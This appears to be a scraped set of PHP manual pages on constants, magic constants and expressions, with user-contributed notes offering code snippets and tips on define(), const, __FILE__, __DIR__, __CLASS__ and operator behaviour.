http://www.php.net/manual/en/reserved.constants.php
while the latter two are also mentioned in 'Directory Functions'
http://www.php.net/manual/en/ref.dir.php
pdenny at magmic dot com 18-Feb-2007 09:46
Note that constants can also be used as default argument values
so the following code:

<?php
  define('TEST_CONSTANT','Works!');
  function testThis($var=TEST_CONSTANT) {
      echo "Passing constants as default values $var";
  }
  testThis();
?>

will produce :

Passing constants as default values Works!

(I tried this in both PHP 4 and 5)
dexen at google dot me dot up 05-Sep-2006 04:02
1) Constants are invaluable when you want to be sure that *nobody*  changes your important piece of data through lifetime of script -- especially when you're developing in team -- as this can cause strange, hard to track bugs.

2) Using constants is prefered over ``magic values'', as it leads to self-documenting code. Also saves you from scanning and tweaking tens of files should the value ever change.
Consider example: <?php
if ( $headers['code'] = 505 ) { //wth is 505? What do following code do? ?>
versus: <?php
if ( $headers['code'] = HTTP_VERSION_NOT_SUPPORTED ) {
   $this->useHttp = '1.0'; ?>

In response to ``kencomer'':
3) Why not to use <?php
define( 'DEBUG', FALSE );
define( 'DEBUG', TRUE ); ?>
and comment one of them out as needed when developing/deploying?
That'd save a lot of ugly ``if ( defined( 'DEBUG' ) && DEBUG ) {}''.

4) For debugging toggled on/off you pretty often want to use assert() anyway. You're free to turn it on/off at any moment (thou you better do it only once ;) ). assert() gives some nice details upon failed assertion, like file/line/function and context (that's invaluable!)
martin at larsen dot dk 23-Feb-2006 02:24
I find variables much more flexible than constants because variables can be used inside quotes and heredocs etc. Especially for language systems, this is nice.

As stated in one of the previous notes, there is no speed penalty by using variables. However, one issue is that you risc name collision with existing variables. When implementing a language system I simply found that adding a prefix to all the variables was the way to go, for example:

$LNG_myvar1 = "my value";

That is easier and performs faster than using arrays like

$LNG['myvar'] = "my value";

As a final note, implementing a new superglobal in PHP would make using constants much more beneficial. Then it could be used in qoutes like this:

"The constant myconst has the value $CONSTANTS[myconst] !"
anj at aps dot anl dot gov 20-Dec-2005 08:42
It is possible to define constants that have the same name as a built-in PHP keyword, although subsequent attempts to actually use these constants will cause a parse error. For example in PHP 5.1.1, this code

    <?php
    define("PUBLIC", "Hello, world!");
    echo PUBLIC;
    ?>

gives the error

    Parse error: syntax error, unexpected T_PUBLIC in test.php on line 3

This is a problem to be aware of when converting PHP4 applications to PHP5, since that release introduced several new keywords that used to be legal names for constants.
kencomer at NOSPAM dot kencomer dot com 14-Sep-2005 05:38
Being a belt and suspenders person, when I use a constant to do flow control (i.e., using constants to determine which version of a section of the program should be used), I always use something like:

if ( defined('DEBUG') && TRUE===DEBUG )

If you accidentally use DEBUG somewhere before it is defined, PHP will create a new constant called DEBUG with the value 'DEBUG'. Adding the second comparison will prevent the expression from being TRUE when you did not intentionally create the constant. For the constant DEBUG, this would rarely be a problem, but if you had (e.g.) a constant used to determine whether a function was created using case-sensitive comparisons, an accidental creation of the constant IGNORE_CASE having the value 'IGNORE_CASE' could drive you up the wall trying to find out what went wrong, particularly if you had warnings turned off.

In almost all code I write, I put this function definition in my configuration section:

<?php
if (!function_exists("debug_print")) {
  if ( defined('DEBUG') && TRUE===DEBUG ) {
    function debug_print($string,$flag=NULL) {
      /* if second argument is absent or TRUE, print */
      if ( !(FALSE===$flag) )
        print 'DEBUG: '.$string . "\n";
    }
  } else {
    function debug_print($string,$flag=NULL) {
    }
  }
}
?>

Then, in my code, I'll sprinkle liberal doses of debug code like :

<?php
define("DEBUG_TRACK_EXAMPLE_CREATION",FALSE);
class Example extends Something {
  __construct($whatever) {
    debug_print( "new instance of Example created with '$whatever'\n",DEBUG_TRACK_EXAMPLE_CREATION);
  }
}
?>

and :

<?php
debug_print("finished init.\n");
?>

In the first case, I would not want to see that message every time I went into DEBUG mode, so I made it a special case. The second case is always printed in DEBUG mode. If I decide to turn everything on, special cases and all, all I have to do is comment out the "if" line in debug_print() and presto magicko! It costs a little and gains a lot.

As another belt-and-suspenders aside, notice that, unlike most people, I put the language constant (e.g.,TRUE, "string", etc.) on the left side of the comparison. By doing that, you can never accidentally do something like
  if ( $hard_to_find_error="here" )

because you always write it as
  if ( "here"==$no_error )

or, if you got it wrong,
  if ( "here"=$easy_to_find_parse_error )
Angelina Bell 25-Jul-2005 12:39
It is so easy to create a constant that the php novice might do so accidently while attempting to call a function with no arguments.  For example:
<?php
function LogoutUser(){
// destroy the session, the cookie, and the session ID
  blah blah blah;
  return true;
}
function SessionCheck(){
  blah blah blah;
// check for session timeout
...
    if ($timeout) LogoutUser;  // should be LogoutUser();
}
?>

OOPS!  I don't notice my typo, the SessionCheck function
doesn't work, and it takes me all afternoon to figure out why not!

<?php
LogoutUser;
print "new constant LogoutUser is " . LogoutUser;
?>
hafenator2000 at yahoo dot com 21-Apr-2005 02:09
PHP Modules also define constants.  Make sure to avoid constant name collisions.  There are two ways to do this that I can think of.
First: in your code make sure that the constant name is not already used.  ex. <?php if (! defined("CONSTANT_NAME")) { Define("CONSTANT_NAME","Some Value"); } ?>  This can get messy when you start thinking about collision handling, and the implications of this.
Second: Use some off prepend to all your constant names without exception  ex. <?php Define("SITE_CONSTANT_NAME","Some Value"); ?>

Perhaps the developers or documentation maintainers could recommend a good prepend and ask module writers to avoid that prepend in modules.
storm 18-Apr-2005 09:54
An undefined constant evaluates as true when not used correctly. Say for example you had something like this:

settings.php
<?php
// Debug mode
define('DEBUG',false);
?>

test.php
<?php
include('settings.php');

if (DEBUG) {
   // echo some sensitive data.
}
?>

If for some reason settings.php doesn't get included and the DEBUG constant is not set, PHP will STILL print the sensitive data. The solution is to evaluate it. Like so:

settings.php
<?php
// Debug mode
define('DEBUG',0);
?>

test.php
<?php
include('settings.php');

if (DEBUG == 1) {
   // echo some sensitive data.
}
?>

Now it works correctly.
kumar at farmdev 25-Oct-2003 05:59
before embarking on creating a language system I wanted to see if there was any speed advantage to defining language strings as constants vs. variables or array items.  It is more logical to define language strings as constants but you have more flexibility using variables or arrays in your code (i.e. they can be accessed directly, concatenated, used in quotes, used in heredocs whereas constants can only be accessed directly or concatenated).

Results of the test:
declaring as $Variable is fastest
declaring with define() is second fastest
declaring as $Array['Item'] is slowest

=======================================
the test was done using PHP 4.3.2, Apache 1.3.27, and the ab (apache bench) tool.
100 requests (1 concurrent) were sent to one php file that includes 15 php files each containing 100 unique declarations of a language string.

Example of each declaration ("Variable" numbered 1 - 1500):
<?php
$GLOBALS['Variable1'] = "A whole lot of text for this variable as if it were a language string containing a whole lot of text";
?>
<?php
define('Variable1' , "A whole lot of text for this variable as if it were a language string containing a whole lot of text");
?>
<?php
$GLOBALS['CP_Lang']['Variable1'] = "A whole lot of text for this variable as if it were a language string containing a whole lot of text";
?>

Here are the exact averages of each ab run of 100 requests (averages based on 6 runs):
variable (24.956 secs)
constant (25.426 secs)
array (28.141)

(not huge differences but good to know that using variables won't take a huge performance hit)
ewspencer at industrex dot com 18-Aug-2003 06:30
I find using the concatenation operator helps disambiguate value assignments with constants. For example, setting constants in a global configuration file:

<?php
define('LOCATOR',   "/locator");
define('CLASSES',   LOCATOR."/code/classes");
define('FUNCTIONS', LOCATOR."/code/functions");
define('USERDIR',   LOCATOR."/user");
?>

Later, I can use the same convention when invoking a constant's value for static constructs such as require() calls:

<?php
require_once(FUNCTIONS."/database.fnc");
require_once(FUNCTIONS."/randchar.fnc");
?>

as well as dynamic constructs, typical of value assignment to variables:

<?php
$userid  = randchar(8,'anc','u');
$usermap = USERDIR."/".$userid.".png";
?>

The above convention works for me, and helps produce self-documenting code.

-- Erich
katana at katana-inc dot com 25-Feb-2002 11:53
Warning, constants used within the heredoc syntax (http://www.php.net/manual/en/language.types.string.php) are not interpreted!

Editor's Note: This is true. PHP has no way of recognizing the constant from any other string of characters within the heredoc block.
tom dot harris at home dot com 04-Aug-2000 05:44
To get a full path (the equivalent of something like "__PATH__") use
dirname($SCRIPT_FILENAME)
to get the directory name of the called script and
dirname(__FILE__)
to get the directory name of the include file.
Variables From External Sources
Syntax
Language Reference


Syntax

You can define a constant by using the define()-function or by using the const keyword outside a class definition as of PHP 5.3.0. Once a constant is defined, it can never be changed or undefined.

Only scalar data (boolean, integer, float and string) can be contained in constants. It is possible to define constants as a resource, but it should be avoided, as it can cause unexpected results.

You can get the value of a constant by simply specifying its name. Unlike with variables, you should not prepend a constant with a $. You can also use the function constant() to read a constant's value if you wish to obtain the constant's name dynamically. Use get_defined_constants() to get a list of all defined constants.

Note: Constants and (global) variables are in a different namespace. This implies that for example TRUE and $TRUE are generally different.

If you use an undefined constant, PHP assumes that you mean the name of the constant itself, just as if you called it as a string (CONSTANT vs "CONSTANT"). An error of level E_NOTICE will be issued when this happens. See also the manual entry on why $foo[bar] is wrong (unless you first define() bar as a constant). If you simply want to check if a constant is set, use the defined() function.

These are the differences between constants and variables:

  • Constants do not have a dollar sign ($) before them;
  • Constants may only be defined using the define() function, not by simple assignment;
  • Constants may be defined and accessed anywhere without regard to variable scoping rules;
  • Constants may not be redefined or undefined once they have been set; and
  • Constants may only evaluate to scalar values.

Example #1 Defining Constants

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.
?>

Example #2 Defining Constants using the const keyword

<?php
// Works as of PHP 5.3.0
const CONSTANT = 'Hello World';

echo CONSTANT;
?>

Note:

As opposed to defining constants using define(), constants defined using the const keyword must be declared at the top-level scope because they are defined at compile-time. This means that they cannot be declared inside functions, loops or if statements.

See also Class Constants.

User Contributed Notes

timucinbahsi at gmail dot com 11-Jan-2012 10:23
Constant names shouldn't include operators. Otherwise php doesn't take them as part of the constant name and tries to evaluate them:

<?php
define("SALARY-WORK",0.02); // set the proportion

$salary=SALARY-WORK*$work; // tries to subtract WORK times $work from SALARY
?>
uramihsayibok, gmail, com 08-Aug-2009 11:54
Don't let the comparison between const (in the global context) and define() confuse you: while define() allows expressions as the value, const does not. In that sense it behaves exactly as const (in class context) does.

<?php

// this works
/**
 * Path to the root of the application
 */
define("PATH_ROOT", dirname(__FILE__));

// this does not
/**
 * Path to configuration files
 */
const PATH_CONFIG = PATH_ROOT . "/config";

// this does
/**
 * Path to configuration files - DEPRECATED, use PATH_CONFIG
 */
const PATH_CONF = PATH_CONFIG;

?>
Constants
Magic constants
Constants


Magic constants

PHP provides a large number of predefined constants to any script which it runs. Many of these constants, however, are created by various extensions, and will only be present when those extensions are available, either via dynamic loading or because they have been compiled in.

There are seven magical constants that change depending on where they are used. For example, the value of __LINE__ depends on the line that it's used on in your script. These special constants are case-insensitive and are as follows:

A few "magical" PHP constants
Name | Description
__LINE__ | The current line number of the file.
__FILE__ | The full path and filename of the file. If used inside an include, the name of the included file is returned. Since PHP 4.0.2, __FILE__ always contains an absolute path with symlinks resolved whereas in older versions it contained relative path under some circumstances.
__DIR__ | The directory of the file. If used inside an include, the directory of the included file is returned. This is equivalent to dirname(__FILE__). This directory name does not have a trailing slash unless it is the root directory. (Added in PHP 5.3.0.)
__FUNCTION__ | The function name. (Added in PHP 4.3.0) As of PHP 5 this constant returns the function name as it was declared (case-sensitive). In PHP 4 its value is always lowercased.
__CLASS__ | The class name. (Added in PHP 4.3.0) As of PHP 5 this constant returns the class name as it was declared (case-sensitive). In PHP 4 its value is always lowercased. The class name includes the namespace it was declared in (e.g. Foo\Bar). Note that as of PHP 5.4 __CLASS__ works also in traits. When used in a trait method, __CLASS__ is the name of the class the trait is used in.
__TRAIT__ | The trait name. (Added in PHP 5.4.0) As of PHP 5.4 this constant returns the trait as it was declared (case-sensitive). The trait name includes the namespace it was declared in (e.g. Foo\Bar).
__METHOD__ | The class method name. (Added in PHP 5.0.0) The method name is returned as it was declared (case-sensitive).
__NAMESPACE__ | The name of the current namespace (case-sensitive). This constant is defined in compile-time (Added in PHP 5.3.0).

See also
get_class(),
get_object_vars(),
file_exists() and
function_exists().

User Contributed Notes

Anonymous 27-Dec-2011 08:44
Further clarification on the __TRAIT__ magic constant.

<?php
trait PeanutButter {
    function traitName() {echo __TRAIT__;}
}

trait PeanutButterAndJelly {
    use PeanutButter;
}

class Test {
    use PeanutButterAndJelly;
}

(new Test)->traitName(); //PeanutButter
?>
jrivero24 at yahoo dot es 05-Aug-2011 02:37
When __DIR__ is not defined, prior 5.3.0:

<?php if ( !defined('__DIR__') ) define('__DIR__', dirname(__FILE__)); ?>
user9 at voloreport dot com 10-Jul-2011 12:33
Note that __FILE__ has a quirk when used inside an eval() call. It will tack on something like "(80) : eval()'d code" (the number may change) on the end of the string at run-time. The workaround is:

$script = php_strip_whitespace('myprogram.php');
$script = str_replace('__FILE__',"preg_replace('@\(.*\(.*$@', '', __FILE__,1)",$script);
eval($script);
chris dot kistner at gmail dot com 20-Apr-2011 05:16
There is no way to implement a backwards compatible __DIR__ in versions prior to 5.3.0.

The only thing that you can do is to perform a recursive search and replace to dirname(__FILE__):
find . -type f -print0 | xargs -0 sed -i 's/__DIR__/dirname(__FILE__)/'
Jamie 02-Mar-2011 01:13
Note that as mentioned, __FILE__ resolves any aliases. Other real path information, such as $_SERVER["SCRIPT_FILENAME"], doesn't.

__FILE__ => /volume1/web/mysite/admin/inc/includeFile.inc.php
$_SERVER["SCRIPT_FILENAME"] => /var/services/web/mysite/admin/products.php

If you need to compare one with the other, use
realpath($_SERVER["SCRIPT_FILENAME"])
stefan at efectos dot nl 08-Nov-2010 05:58
When __DIR__ is not defined, you can also use this workaround to generate it:

<?php
if(!defined('__DIR__')) {
    $iPos = strrpos(__FILE__, "/");
    define("__DIR__", substr(__FILE__, 0, $iPos) . "/");
}
?>

Keep in mind this sets __DIR__ to the directory you are running this snippet from.
madboyka at yahoo dot com 10-Sep-2010 07:37
Since namespace were introduced, it would be nice to have a magic constant or function (like get_class()) which would return the class name without the namespaces.

On windows I used basename(__CLASS__). (LOL)
Anonymous 08-Aug-2010 03:39
__DIR__ befor PHP 5.3.0

<?php
if (!defined('__DIR__')) {
  class __FILE_CLASS__ {
    function  __toString() {
      $X = debug_backtrace();
      return dirname($X[1]['file']);
    }
  }
  define('__DIR__', new __FILE_CLASS__);
}
?>
me at jamessocol dot com 25-Jun-2008 09:11
We need an eighth magic constant, something along the lines of __STATIC__. This should return the name of the class from which a static method was called, regardless of where in the inheritance tree the method was defined.

PHP 5.3 has the new use of the static keyword which will help, but it isn't perfect. You still have to repeat yourself frequently.

For example, trying to implement Active Record:

<?php

// In PHP 5.3

class Model
{
    public static function find()
    {
        echo static::$class;
    }
}

class Product extends Model
{
    protected static $class = __CLASS__;
}

class User extends Model
{
    protected static $class = __CLASS__;
}

Product::find(); // "Product"
User::find(); // "User"

?>

<?php

// With __STATIC__ keyword. (Would be better.)

class Model
{
    public static function find()
    {
        echo __STATIC__;
    }
}

class Product extends Model {}

class User extends Model {}

Product::find(); // "Product"
User::find(); // "User"

?>

[EDITED : Use get_called_class()]
php at kennel17 dot co dot uk 20-Jun-2007 10:29
Further to my previous note, the 'object' element of the array can be used to get the parent object.  So changing the get_class_static() function to the following will make the code behave as expected:

<?php
    function get_class_static() {
        $bt = debug_backtrace();

        if (isset($bt[1]['object']))
            return get_class($bt[1]['object']);
        else
            return $bt[1]['class'];
    }
?>

HOWEVER, it still fails when being called statically.  Changing the last two lines of my previous example to

<?php
  foo::printClassName();
  bar::printClassName();
?>

...still gives the same problematic result in PHP5, but in this case the 'object' property is not set, so that technique is unavailable.
php at kennel17 dot co dot uk 20-Jun-2007 09:12
In response to stangelanda at gmail dot com, (who suggested a possible fix to get the actual class name of the object, when being called statically).

in PHP5, this fix no longer works.

Here is some example code:

<?php

  function get_class_static() {
    $bt = debug_backtrace();
    $name = $bt[1]['class'];
    return $name;
  }

  class foo {
    function printClassName() {
      print(get_class_static() . "<br>");
     }
  }

  class bar extends foo {
  }

$f = new foo();
$b = new bar();
$f->printClassName();
$b->printClassName();

?>

In PHP4, it outputs
  foo
  bar
as you described.

However, in PHP5, due to the way the debug_backtrace() function has been modified (see http://bugs.php.net/bug.php?id=30828) the output is now
  foo
  foo

I have yet to figure out a way to get the original output in PHP5.  Any suggestions would be very useful, and if I find an answer I'll post it here.
Tomek Perlak [tomekperlak at tlen pl] 10-Nov-2006 02:16
The __CLASS__ magic constant nicely complements the get_class() function.

Sometimes you need to know both:
- name of the inherited class
- name of the class actually executed

Here's an example that shows the possible solution:

<?php

class base_class
{
    function say_a()
    {
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        echo "'b' - said the " . get_class($this) . "<br/>";
    }

}

class derived_class extends base_class
{
    function say_a()
    {
        parent::say_a();
        echo "'a' - said the " . __CLASS__ . "<br/>";
    }

    function say_b()
    {
        parent::say_b();
        echo "'b' - said the " . get_class($this) . "<br/>";
    }
}

$obj_b = new derived_class();

$obj_b->say_a();
echo "<br/>";
$obj_b->say_b();

?>

The output should look roughly like this:

'a' - said the base_class
'a' - said the derived_class

'b' - said the derived_class
'b' - said the derived_class
stangelanda at gmail dot com 05-Sep-2006 09:17
claude noted that __CLASS__ always contains the class that it is called in, if you would rather have the class that called the method use get_class($this) instead.  However this only works with instances, not when called statically.

<?php
  class A {
     function showclass() {
         echo get_class($this);
     }
  }

  class B extends A {}

  $a = new A();
  $b = new B();

  $a->showclass();
  $b->showclass();
  A::showclass();
  B::showclass();

  //results in "a", "b", false, false
?>

I tried keeping track of the class manually within the properties, but the following doesn't work either:

<?php
  class A {
     var $class = __CLASS__;
     function showclass() {
         echo $this->class;
     }
  }

  class B extends A {
     var $class = __CLASS__;
  }

  //results in "a", "b", NULL, NULL
?>

The best solution I could come up with was using debug_backtrace.  I assume there is a better way somehow, but I can't find it.  However the following works:

<?php
  class A {
     function showclass() {
        $backtrace = debug_backtrace();
        echo $backtrace[0]['class'];
     }
  }

  class B extends A {}

  //results in "a", "b", "a", "b"
?>
warhog at warhog dot net 18-Dec-2005 01:33
There is another magic constant not mentioned above: __COMPILER_HALT_OFFSET__ - contains where the compiler halted - see http://www.php.net/manual/function.halt-compiler.php for further information.
vijaykoul_007 at rediffmail dot com 21-Sep-2005 09:59
the difference between
__FUNCTION__ and __METHOD__ as in PHP 5.0.4 is that

__FUNCTION__ returns only the name of the function

while as __METHOD__ returns the name of the class alongwith the name of the function

class trick
{
      function doit()
      {
                echo __FUNCTION__;
      }
      function doitagain()
      {
                echo __METHOD__;
      }
}
$obj=new trick();
$obj->doit();
output will be ----  doit
$obj->doitagain();
output will be ----- trick::doitagain
karl __at__ streetlampsoftware__dot__com 03-Mar-2005 01:39
Note that the magic constants cannot be included in quoted strings.

For instance,
echo "This is the filename: __FILE__";
will return exactly what's typed above.

echo "This is the filename: {__FILE__}";
will also return what's typed above.

The only way to get magic constants to parse in strings is to concatenate them into strings:
echo "This is the filename: ".__FILE__;
csaba at alum dot mit dot edu 03-Mar-2005 04:04
Sometimes you might want to know whether a script is the top level script or whether it has been included.  That could be useful if you want to reuse the routines in another script, but you don't want to separate them out.  Here's a way that seems to be working for me (for both Apache2 module and CLI versions of PHP) on my Win XP Pro system.

By the way, if __FILE__ is within a function call, its value corresponds to the file it was defined in and not the file that it was called from.  Also, I used $script and strtolower instead of realpath because if the script is deleted after inclusion but before realpath is called (which could happen if the test is deferred), then realpath would return empty since it requires an extant file or directory.

Csaba Gabor from Vienna

<?php
if (amIincluded()) return;    // if we're included we only want function defs
function amIincluded() {
//    returns true/false depending on whether the currently
//    executing script is included or not
//    Don't put this function in an include file (duh)!
    $webP = !!$_SERVER['REQUEST_METHOD'];    // a web request?
    $script = preg_replace('/\//',DIRECTORY_SEPARATOR,
                           $_SERVER['SCRIPT_FILENAME']);
    return ($webP) ? (strtolower(__FILE__)!=strtolower($script)) :
           !array_key_exists("_REQUEST", $GLOBALS);
}
?>
lm arobase bible point ch 08-Dec-2004 02:17
in reply to x123 at bestof dash inter:
I believe, this is not a bug, but a feature.
__FILE__ returns the name of the include file, while $PHP_SELF returns the relative name of the main file.
It is then easy to get the file name only with substr(strrchr($PHP_SELF,'/'),1)
claude at NOSPAM dot claude dot nl 18-Jul-2004 08:29
Note that __CLASS__ contains the class it is called in; in lowercase. So the code:

class A
{
    function showclass()
    {
        echo __CLASS__;
    }
}

class B extends A
{
}

$a = new A();
$b = new B();

$a->showclass();
$b->showclass();
A::showclass();
B::showclass();

results in "aaaa";
ulrik 04-Mar-2004 07:44
note that __FUNCTION__ define gives the the function name in lowercase
warhog at warhog dot net 06-Feb-2004 12:49
just to read out the filename of the currently proceeded file use
<?php basename(__FILE__); ?>
hixon at colorado dot edu 15-May-2003 05:21
You can use the following in files that you want to include, but not run directly.  The script will exit if it's run as the top-level script, but will not exit if it's included from another script.  Of course this won't work in the command line mode.

if (realpath(__FILE__) == realpath($_SERVER['SCRIPT_FILENAME'])) {
  exit;
}
kop at meme dot com 13-Feb-2003 03:34
The keywords TRUE and FALSE (case insensitive), which represent their respective boolean values, are worth noting here.
darwin[at]buchner[dot]net 14-Mar-2002 04:54
As of version 4.0.6, there is also a handy predefined DIRECTORY_SEPARATOR constant which you can use to make you scripts more portatable between OS's with different directory structures.
Syntax
Expressions
Constants


Expressions

Expressions are the most important building stones of PHP. In PHP, almost anything you write is an expression. The simplest yet most accurate way to define an expression is "anything that has a value".

The most basic forms of expressions are constants and variables. When you type "$a = 5", you're assigning '5' into $a. '5', obviously, has the value 5, or in other words '5' is an expression with the value of 5 (in this case, '5' is an integer constant).

After this assignment, you'd expect $a's value to be 5 as well, so if you wrote $b = $a, you'd expect it to behave just as if you wrote $b = 5. In other words, $a is an expression with the value of 5 as well. If everything works right, this is exactly what will happen.

Slightly more complex examples for expressions are functions. For instance, consider the following function:

<?php
function foo ()
{
    return 5;
}
?>

Assuming you're familiar with the concept of functions (if you're not, take a look at the chapter about functions), you'd assume that typing $c = foo() is essentially just like writing $c = 5, and you're right. Functions are expressions with the value of their return value. Since foo() returns 5, the value of the expression 'foo()' is 5. Usually functions don't just return a static value but compute something.

Of course, values in PHP don't have to be integers, and very often they aren't. PHP supports four scalar value types: integer values, floating point values (float), string values and boolean values (scalar values are values that you can't 'break' into smaller pieces, unlike arrays, for instance). PHP also supports two composite (non-scalar) types: arrays and objects. Each of these value types can be assigned into variables or returned from functions.

PHP takes expressions much further, in the same way many other languages do. PHP is an expression-oriented language, in the sense that almost everything is an expression. Consider the example we've already dealt with, '$a = 5'. It's easy to see that there are two values involved here, the value of the integer constant '5', and the value of $a which is being updated to 5 as well. But the truth is that there's one additional value involved here, and that's the value of the assignment itself. The assignment itself evaluates to the assigned value, in this case 5. In practice, it means that '$a = 5', regardless of what it does, is an expression with the value 5. Thus, writing something like '$b = ($a = 5)' is like writing '$a = 5; $b = 5;' (a semicolon marks the end of a statement). Since assignments are parsed in a right to left order, you can also write '$b = $a = 5'.

Another good example of expression orientation is pre- and post-increment and decrement. Users of PHP and many other languages may be familiar with the notation of variable++ and variable--. These are increment and decrement operators. In PHP, like in C, there are two types of increment - pre-increment and post-increment. Both pre-increment and post-increment essentially increment the variable, and the effect on the variable is identical. The difference is with the value of the increment expression. Pre-increment, which is written '++$variable', evaluates to the incremented value (PHP increments the variable before reading its value, thus the name 'pre-increment'). Post-increment, which is written '$variable++' evaluates to the original value of $variable, before it was incremented (PHP increments the variable after reading its value, thus the name 'post-increment').

A very common type of expressions are comparison expressions. These expressions evaluate to either FALSE or TRUE. PHP supports > (bigger than), >= (bigger than or equal to), == (equal), != (not equal), < (smaller than) and <= (smaller than or equal to). The language also supports a set of strict equivalence operators: === (equal to and same type) and !== (not equal to or not same type). These expressions are most commonly used inside conditional execution, such as if statements.

The last example of expressions we'll deal with here is combined operator-assignment expressions. You already know that if you want to increment $a by 1, you can simply write '$a++' or '++$a'. But what if you want to add more than one to it, for instance 3? You could write '$a++' multiple times, but this is obviously not a very efficient or comfortable way. A much more common practice is to write '$a = $a + 3'. '$a + 3' evaluates to the value of $a plus 3, and is assigned back into $a, which results in incrementing $a by 3. In PHP, as in several other languages like C, you can write this in a shorter way, which with time would become clearer and quicker to understand as well. Adding 3 to the current value of $a can be written '$a += 3'. This means exactly "take the value of $a, add 3 to it, and assign it back into $a". In addition to being shorter and clearer, this also results in faster execution. The value of '$a += 3', like the value of a regular assignment, is the assigned value. Notice that it is NOT 3, but the combined value of $a plus 3 (this is the value that's assigned into $a). Any two-place operator can be used in this operator-assignment mode, for example '$a -= 5' (subtract 5 from the value of $a), '$b *= 7' (multiply the value of $b by 7), etc.

There is one more expression that may seem odd if you haven't seen it in other languages, the ternary conditional operator:

<?php
$first ? $second : $third
?>

If the value of the first subexpression is TRUE (non-zero), then the second subexpression is evaluated, and that is the result of the conditional expression. Otherwise, the third subexpression is evaluated, and that is the value.

The following example should help you understand pre- and post-increment and expressions in general a bit better:

<?php
function double($i)
{
    return $i*2;
}
$b = $a = 5;        /* assign the value five into the variable $a and $b */
$c = $a++;          /* post-increment, assign original value of $a
                       (5) to $c */
$e = $d = ++$b;     /* pre-increment, assign the incremented value of
                       $b (6) to $d and $e */

/* at this point, both $d and $e are equal to 6 */

$f = double($d++);  /* assign twice the value of $d before
                       the increment, 2*6 = 12 to $f */
$g = double(++$e);  /* assign twice the value of $e after
                       the increment, 2*7 = 14 to $g */
$h = $g += 10;      /* first, $g is incremented by 10 and ends with the
                       value of 24. the value of the assignment (24) is
                       then assigned into $h, and $h ends with the value
                       of 24 as well. */
?>

Some expressions can be considered as statements. In this case, a statement has the form of 'expr ;' that is, an expression followed by a semicolon. In '$b = $a = 5;', '$a = 5' is a valid expression, but it's not a statement by itself. '$b = $a = 5;' however is a valid statement.

One last thing worth mentioning is the truth value of expressions. In many events, mainly in conditional execution and loops, you're not interested in the specific value of the expression, but only care about whether it means TRUE or FALSE. The constants TRUE and FALSE (case-insensitive) are the two possible boolean values. When necessary, an expression is automatically converted to boolean. See the section about type-casting for details about how.

PHP provides a full and powerful implementation of expressions, and documenting it entirely goes beyond the scope of this manual. The above examples should give you a good idea about what expressions are and how you can construct useful expressions. Throughout the rest of this manual we'll write expr to indicate any valid PHP expression.

User Contributed Notes

Magnus Deininger, dma05 at web dot de 16-Apr-2009 08:04
Note that even though PHP borrows large portions of its syntax from C, the ',' is treated quite differently. It's not possible to create combined expressions in PHP using the comma-operator that C has, except in for() loops.

Example (parse error):

<?php

$a = 2, $b = 4;

echo $a."\n";
echo $b."\n";

?>

Example (works):
<?php

for ($a = 2, $b = 4; $a < 3; $a++)
{
  echo $a."\n";
  echo $b."\n";
}

?>

This is because PHP doesn't actually have a proper comma-operator, it's only supported as syntactic sugar in for() loop headers. In C, it would have been perfectly legitimate to have this:

int f()
{
  int a, b;
  a = 2, b = 4;

  return a;
}

or even this:

int g()
{
  int a, b;
  a = (2, b = 4);

  return a;
}

In f(), a would have been set to 2, and b would have been set to 4.
In g(), (2, b = 4) would be a single expression which evaluates to 4, so both a and b would have been set to 4.
phpsourcecode at blogspot dot com 02-Jul-2008 06:37
The ternary conditional operator is a useful way of avoiding
http://phpsourcecode.blogspot.com

inconvenient if statements.  They can even be used in the middle of a string concatenation, if you use parentheses.

Example:

if ( $wakka ) {
  $string = 'foo' ;
} else {
  $string = 'bar' ;
}

The above can be expressed like the following:

$string = $wakka ? 'foo' : 'bar' ;

If $wakka is true, $string is assigned 'foo', and if it's false, $string is assigned 'bar'.

To do the same in a concatenation, try:

$string = $otherString . ( $wakka ? 'foo' : 'bar' ) ;
denzoo at gmail dot com 16-Mar-2008 04:52
To jvm at jvmyers dot com:
Your first two if statements just check if there's anything in the string, if you wish to actually execute the code in your string you need eval().
jvm at jvmyers dot com 24-Feb-2008 12:20
<?php
// Compound booleans expressed as string args in an 'if' statement don't work as expected:
//
//    Context:
//        1.  I generate an array of counters
//        2.  I dynamically generate a compound boolean based on selected counters in the array
//                Note: since the real array is sparse, I must use the 'empty' operator
//        3.  When I submit the compound boolean as the expression of an 'if' statement,
//            the 'if' appears to resolve ONLY the first element of the compound boolean.
//    Conclusion: appears to be a short-circuiting issue

$aArray = array(1,0);

// Case 1: 'if' expression passed as string:

$sCondition = "!empty($aArray[0]) && !empty($aArray[1])";
if ($sCondition)
{
    echo "1. Conditions met<br />";
}
else
{
    echo "1. Conditions not met<br />";
}

// Case 1 output:  "1. Conditions met"

// Case 2: same as Case 1, but using catenation operator

if ("".$sCondition."")
{
    echo "2. Conditions met<br />";
}
else
{
    echo "2. Conditions not met<br />";
}

// Case 2 output:  "2. Conditions met"

// Case 3: same 'if' expression but passed in context:

if (!empty($aArray[0]) && !empty($aArray[1]))
{
    echo "3. Conditions met<br />";
}
else
{
    echo "3. Conditions not met<br />";
}

// Case 3 output:  "3. Conditions not met"

// jvm@jvmyers.com
?>

PS: the bug folks say this "does not imply a bug in PHP itself."  Sure bugs me!
petruzanauticoyahoo?com!ar 20-Oct-2007 08:41
Regarding the ternary operator, I would rather say that the best option is to enclose all the expression in parantheses, to avoid errors and improve clarity:

<?php
   print ( $a > 1 ? "many" : "just one" );
?>

PS: for php, C++, and any other language that has it.
winks716 23-Aug-2007 01:42
reply to egonfreeman at gmail dot com
04-Apr-2007 07:45

the second example u mentioned as follow:
=====================================

$n = 3;
$n * $n++

from 3 * 3 into 3 * 4. Post- operations operate on a variable after it has been 'checked', but it doesn't necessarily state that it should happen AFTER an evaluation is over (on the contrary, as a matter of fact).

===========================================

everything works correctly but one sentence should be modified:

"from 3 * 3 into 3 * 4"  should be "from 3 * 3 into 4 * 3"

best regards~ :)
george dot langley at shaw dot ca 20-Jul-2007 11:01
Here's a quick example of Pre and Post-incrementation, in case anyone does feel confused (ref anonymous poster 31 May 2005)

<?PHP
echo "Using Pre-increment ++\$a:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = ++$a;
echo "\$b = ++\$a, so \$b = $b and \$a = $a<br>";
echo "<br>";
echo "Using Post-increment \$a++:<br>";
$a = 1;
echo "\$a = $a<br>";
$b = $a++;
